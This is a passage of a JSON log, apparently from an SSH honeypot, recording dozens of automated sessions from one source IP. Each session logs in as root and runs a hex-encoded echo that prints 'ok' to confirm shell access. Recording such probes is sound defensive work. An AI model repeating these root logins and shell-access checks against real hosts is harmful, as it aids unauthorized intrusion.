  "id": "ef2e1bb9-f1f4-441e-bf9c-b29283ba7157",
  "name": "gloomy-upland-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:41.429004+00:00",
  "ended_at": "2026-08-23T08:05:42.672508+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "52e10135-2fe8-4c48-b2e8-3c466389d9e5",
  "name": "tidal-jolly-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58064,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:39.471478+00:00",
  "ended_at": "2026-08-23T08:05:40.698037+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "05a2394e-32a5-40d4-a8b4-93b80ad21a38",
  "name": "electric-drifting-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:36.695238+00:00",
  "ended_at": "2026-08-23T08:05:38.757434+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "23c2b084-65e2-4918-8f31-a017e474e39d",
  "name": "daring-hidden-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57854,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:32.447557+00:00",
  "ended_at": "2026-08-23T08:05:36.056271+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "42a797e5-aa69-4f4b-a59c-f905c1524c26",
  "name": "arctic-faded-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57840,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:30.302886+00:00",
  "ended_at": "2026-08-23T08:05:31.661901+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0065e03c-5a8a-4def-8ab4-8df048b60408",
  "name": "mottled-gallant-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37216,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:28.598313+00:00",
  "ended_at": "2026-08-23T08:05:29.580801+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b065e475-ad54-4a4a-944a-336428bef929",
  "name": "wistful-brisk-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:25.602001+00:00",
  "ended_at": "2026-08-23T08:05:27.849560+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "74b342cf-0084-4957-a47d-bd06dc441a75",
  "name": "primal-rustic-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37200,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:22.545424+00:00",
  "ended_at": "2026-08-23T08:05:24.782262+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b66d9b9d-9b7f-4609-9604-47ebc5b7a2c9",
  "name": "lunar-sullen-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:20.278544+00:00",
  "ended_at": "2026-08-23T08:05:21.751891+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a68b75e-c11b-4fdf-bcc2-4782a0514fdb",
  "name": "steady-obsidian-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40810,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:18.629866+00:00",
  "ended_at": "2026-08-23T08:05:19.611650+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07b89f58-a417-468a-a692-79086bb00fe7",
  "name": "distant-smooth-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40796,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:15.192504+00:00",
  "ended_at": "2026-08-23T08:05:17.961472+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1a1b2c09-a574-4cee-8996-3ba30cc93c64",
  "name": "crisp-fickle-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40784,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:13.422739+00:00",
  "ended_at": "2026-08-23T08:05:14.491684+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "36d9169d-76dd-45c3-969f-6ca5d2b113c9",
  "name": "diligent-seaward-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40780,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:10.039661+00:00",
  "ended_at": "2026-08-23T08:05:12.679743+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dc3874f5-2274-4669-8526-af870399705a",
  "name": "emerald-tawny-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:08.163770+00:00",
  "ended_at": "2026-08-23T08:05:09.269590+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a57f0e5b-79fc-438a-b03e-c346e7428f5c",
  "name": "weathered-peaty-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58634,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:06.096046+00:00",
  "ended_at": "2026-08-23T08:05:07.427613+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7ee8a844-c0af-4b74-bc62-46174022f859",
  "name": "fearless-chilly-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58628,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:04.379902+00:00",
  "ended_at": "2026-08-23T08:05:05.297358+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b63ae1b7-1bd9-4a21-a438-7386d48c44ff",
  "name": "ruddy-merry-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:05:02.230625+00:00",
  "ended_at": "2026-08-23T08:05:03.570424+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb617e93-edf6-44fa-85c8-5aaeff3ca140",
  "name": "gritty-indigo-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:55.555714+00:00",
  "ended_at": "2026-08-23T08:05:01.450700+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "15f1f998-f68e-4d5e-a60f-2f669c624297",
  "name": "thawing-shaded-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45408,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:52.669428+00:00",
  "ended_at": "2026-08-23T08:04:54.905603+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c208c47e-d8b1-4962-8549-b9b4f590d066",
  "name": "noble-granite-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45398,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:50.602802+00:00",
  "ended_at": "2026-08-23T08:04:51.962046+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9f12cf80-e596-4686-a2b4-85856e99be72",
  "name": "tranquil-vivid-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41738,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:48.789911+00:00",
  "ended_at": "2026-08-23T08:04:49.837303+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "951f08e6-5957-48f1-8e1a-00a458d2352e",
  "name": "ruddy-wistful-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41730,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:46.713942+00:00",
  "ended_at": "2026-08-23T08:04:47.960768+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0ec9a319-ae01-4edf-83d4-910f34838dcd",
  "name": "sincere-austere-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41720,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:44.393734+00:00",
  "ended_at": "2026-08-23T08:04:45.980822+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2789edda-0520-4bdf-988f-175c8ac1cc14",
  "name": "coastal-velvet-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41716,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:41.692598+00:00",
  "ended_at": "2026-08-23T08:04:43.681476+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bedc976b-26c8-40b1-8077-d0ecf4af52c6",
  "name": "lanky-muted-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:39.222892+00:00",
  "ended_at": "2026-08-23T08:04:40.987415+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0dfe8a57-6062-47e9-bd38-a24f7143afda",
  "name": "emerald-placid-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34648,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:36.902008+00:00",
  "ended_at": "2026-08-23T08:04:38.581269+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ef7cf4f4-ffa6-45e6-8856-db90965789f8",
  "name": "jagged-granite-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:34.564953+00:00",
  "ended_at": "2026-08-23T08:04:36.252957+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3dbc92a6-f66a-4e29-9bb1-d5c623edea25",
  "name": "wandering-vernal-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34638,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:32.158097+00:00",
  "ended_at": "2026-08-23T08:04:33.884002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1033d656-ad6b-4628-ab02-d76f4c527510",
  "name": "opal-rugged-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:29.547756+00:00",
  "ended_at": "2026-08-23T08:04:31.312663+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dc85ffbb-8a93-4421-b52f-0da420f88a09",
  "name": "sandy-umber-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53324,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:26.775669+00:00",
  "ended_at": "2026-08-23T08:04:28.734090+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3ee21fcb-9145-4408-b240-d286a591a7e5",
  "name": "hollow-calm-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53310,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:23.931498+00:00",
  "ended_at": "2026-08-23T08:04:26.090841+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7b06ec78-d9ea-4c7b-9540-111b940fec76",
  "name": "misty-humble-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53306,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:22.060434+00:00",
  "ended_at": "2026-08-23T08:04:23.187508+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b41120d1-3bcb-4371-88b4-ee8782aff12b",
  "name": "frank-dapper-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:19.719674+00:00",
  "ended_at": "2026-08-23T08:04:21.222523+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "414a69d2-a501-4d7a-b5ab-eed263828e72",
  "name": "amber-quaint-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:16.658029+00:00",
  "ended_at": "2026-08-23T08:04:18.869898+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ced6416b-15dc-4a7e-ae11-01c6cfa3975f",
  "name": "sooty-marine-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41154,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:13.885966+00:00",
  "ended_at": "2026-08-23T08:04:15.832720+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1ffd3797-60ff-4916-a95c-f554366b3721",
  "name": "thorny-mighty-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:12.030999+00:00",
  "ended_at": "2026-08-23T08:04:13.215144+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fd8c1057-e2ab-4f47-8fa6-4736e99360a5",
  "name": "vivid-thrifty-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:09.520089+00:00",
  "ended_at": "2026-08-23T08:04:11.332739+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "94040f81-3d6c-480d-9450-98ddb7ff2c80",
  "name": "nameless-western-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:07.094015+00:00",
  "ended_at": "2026-08-23T08:04:08.768890+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9cda9a15-1121-45ff-a8a7-8e247ae04122",
  "name": "cobalt-boreal-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50860,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:04.412692+00:00",
  "ended_at": "2026-08-23T08:04:06.413574+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca52ce75-1a9f-46b9-b4be-7c134e0d1232",
  "name": "gleaming-ginger-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:04:02.674364+00:00",
  "ended_at": "2026-08-23T08:04:03.655765+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eeca4860-49a6-48b2-99fa-0c9c8fac2641",
  "name": "loyal-feral-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50830,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:59.601006+00:00",
  "ended_at": "2026-08-23T08:04:01.826531+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "db0fcde6-3960-412e-8e63-f427b53e26a1",
  "name": "tangled-feathered-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51532,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:57.955256+00:00",
  "ended_at": "2026-08-23T08:03:58.843478+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7f387073-8889-4614-91c0-eedf84fc6372",
  "name": "bold-loyal-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51522,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:55.244028+00:00",
  "ended_at": "2026-08-23T08:03:57.171824+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ae7021ea-d16f-45b8-beed-f98becff2895",
  "name": "hollow-western-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:52.277166+00:00",
  "ended_at": "2026-08-23T08:03:54.414324+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "501797ab-008d-4d8e-ac89-bcb153a0d9db",
  "name": "valiant-nameless-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:49.349573+00:00",
  "ended_at": "2026-08-23T08:03:51.602492+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "00249260-6ece-40f8-bc55-7514beab8ff0",
  "name": "thorny-vaulted-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:47.720954+00:00",
  "ended_at": "2026-08-23T08:03:48.662636+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2c4f258e-42b2-4dbd-9067-01c74cbb82f6",
  "name": "calm-mottled-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56668,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:44.914596+00:00",
  "ended_at": "2026-08-23T08:03:46.883462+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c5814f3a-5f75-44df-a31d-e8f0a7d7cac9",
  "name": "bashful-mindful-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56652,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:43.152170+00:00",
  "ended_at": "2026-08-23T08:03:44.188473+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2acc3c53-f508-4131-ba11-a22b0e056cd4",
  "name": "sunlit-vernal-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56644,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:03:40.572748+00:00",
  "ended_at": "2026-08-23T08:03:42.368660+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e4e6a496-da45-4f73-8ae0-62f1f2ea99ef",
